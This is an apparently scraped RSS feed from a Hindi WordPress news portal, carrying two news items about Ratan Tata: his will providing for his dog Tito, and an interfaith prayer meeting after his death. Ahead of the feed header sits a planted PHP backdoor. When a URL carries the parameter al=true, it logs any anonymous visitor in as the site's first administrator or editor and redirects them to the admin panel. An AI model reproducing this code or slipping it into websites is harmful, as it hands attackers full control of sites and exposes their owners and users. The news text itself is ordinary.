// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Ratan Tata’s – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 25 Oct 2024 17:54:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 रतन टाटा की वसीयत सामने आई, जर्मन शेफर्ड कुत्ते टीटो के लिए अनलिमिटेड केयर का प्रावधान किया गया https://pratyushaashakinayikiran.com/?p=89715 Fri, 25 Oct 2024 17:54:00 +0000 https://pratyushaashakinayikiran.com/?p=89715 नई दिल्ली
इंडस्ट्रियलिस्ट रतन टाटा की वसीयत की जानकारी सामने आई है। इसमें उन्होंने जर्मन शेफर्ड कुत्ते टीटो के लिए अनलिमिटेड केयर का प्रावधान किया गया है। रतन टाटा अपने पीछे 10 हजार करोड़ से ज्यादा की संपत्ति छोड़ गए हैं। इस संपत्ति का बंटवारा उनकी बहनों शिरीन और डिएना के अलावा हाउस स्टाफ और अन्य लोगों के बीच होगा। हालांकि रतन टाटा के धन का जितना हिस्सा उनके कुत्ते को मिलने वाला है, उसके बाद वह कम से कम भारत में सबसे अमीर कुत्ता बन जाएगा। रतन टाटा की वसीयत में उनके खास दोस्त शांतनू का भी जिक्र है।

टीटो को पांच-छह साल पहले एडॉप्ट किया गया था। रतन टाटा की वसीयत के मुताबिक टीटो की देखभाल की जिम्मेदारी उनके लंबे समय तक कुक रहे राज शॉ करेंगे। टाइम्स ऑफ इंडिया वसीयत में तीन दशक तक रतन टाटा के नौकर रहे सुबैया के लिए भी प्रावधान किए गए हैं। गौरतलब है कि टाटा जब भी बाहर जाते थे वह रंजन और सुबैया के लिए डिजाइनर कपड़े खरीदकर लाते थे।

रतन टाटा के खास दोस्त और एग्जीक्यूटिव असिस्टेंट शांतनू नायडू का भी जिक्र किया गया है। टाटा ने नायडू के उद्योग गुडफेलो में अपनी हिस्सेदारी छोड़ दी और उनके लोकन एजुकेशन को माफ कर दिया। प्रसिद्ध उद्योगपति की संपत्ति में अलीबाग में 2,000 वर्ग फुट का सी-फेस बंगला, मुंबई में जुहू तारा रोड पर दो मंजिला घर, 350 करोड़ रुपए से अधिक की फिक्स डिपॉजिट और टाटा संस में 0.83 प्रतिशत हिस्सेदारी और टाटा ग्रुप में 165 बिलियन डॉलर की संपत्ति शामिल है।

परंपरा के अनुसार, टाटा संस में उनकी हिस्सेदारी रतन टाटा एंडोमेंट फाउंडेशन (आरटीईएफ) को स्थानांतरित कर दी जाएगी, जो एक धर्मार्थ ट्रस्ट है। टाइम्स ऑफ इंडिया की रिपोर्ट के अनुसार, उनकी वसीयत को बॉम्बे हाईकोर्ट द्वारा प्रोब किए जाने की उम्मीद है, एक प्रक्रिया जिसमें कई महीने लगेंगे। एक परोपकारी, पशु प्रेमी और उत्सुक व्यापारिक दिमाग के रूप में जाने जाने वाले, रतन टाटा का 9 अक्टूबर, 2024 को 86 वर्ष की आयु में निधन हो गया।

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रतन टाटा की प्रार्थना सभा में विभिन्न धर्मों के पुजारी एक साथ आए, जाते-जाते दिया एकता का संदेश https://pratyushaashakinayikiran.com/?p=82639 Thu, 10 Oct 2024 17:54:00 +0000 https://pratyushaashakinayikiran.com/?p=82639 नई दिल्ली
देश के मशहूर उद्योगपति और टाटा संस के चेयरमैन रतन टाटा का निधन देर रात बुधवार को हो गया। इस खबर ने पूरे देश को झकझोर कर दिया है। वे पिछले कुछ दिनों से बीमार चल रहे थे और अक्सर इलाज के लिए अस्पताल जाया करते थे।  9 अक्टूबर को रात 11:30 बजे दक्षिण मुंबई के ब्रीच कैंडी अस्पताल में उनका निधन हो गया। उनके निधन से देश में शोक की लहर फैल गई है। जिसके बाद आज उनके पार्थिक शरीर को भारतीय राष्ट्रीय ध्वज में लपेटकर नरीमन पॉइंट स्थित नेशनल सेंटर फॉर परफॉर्मिंग आर्ट्स (एनसीपीए) के लॉन में रखा गया। यहां पर लोगों ने उन्हें अंतिम श्रद्धांजलि दी।

विविधता में एकता
रतन टाटा की प्रार्थना सभा में विभिन्न धर्मों के पुजारी एक साथ आए। इस समारोह में पारसी, मुस्लिम, ईसाई, सिख और हिंदू धर्म के पुजारियों ने मिलकर प्रार्थना की। यह दृश्य सच्चे भारत की झलक पेश करता है, जहां सभी धर्मों के लोग एकत्र होकर एक ही उद्देश्य के लिए प्रार्थना कर रहे थे। इस विविधता में एकता का संदेश समाज को जोड़ने का काम करता है। इस प्रकार की एकजुटता हमें यह सिखाती है कि मानवता और सम्मान का धर्म सभी से बड़ा होता है। रतन टाटा ने जीवन भर इस एकता का संदेश फैलाया, और उनकी याद में आयोजित यह प्रार्थना सभा उस मूल्य को दर्शाती है।

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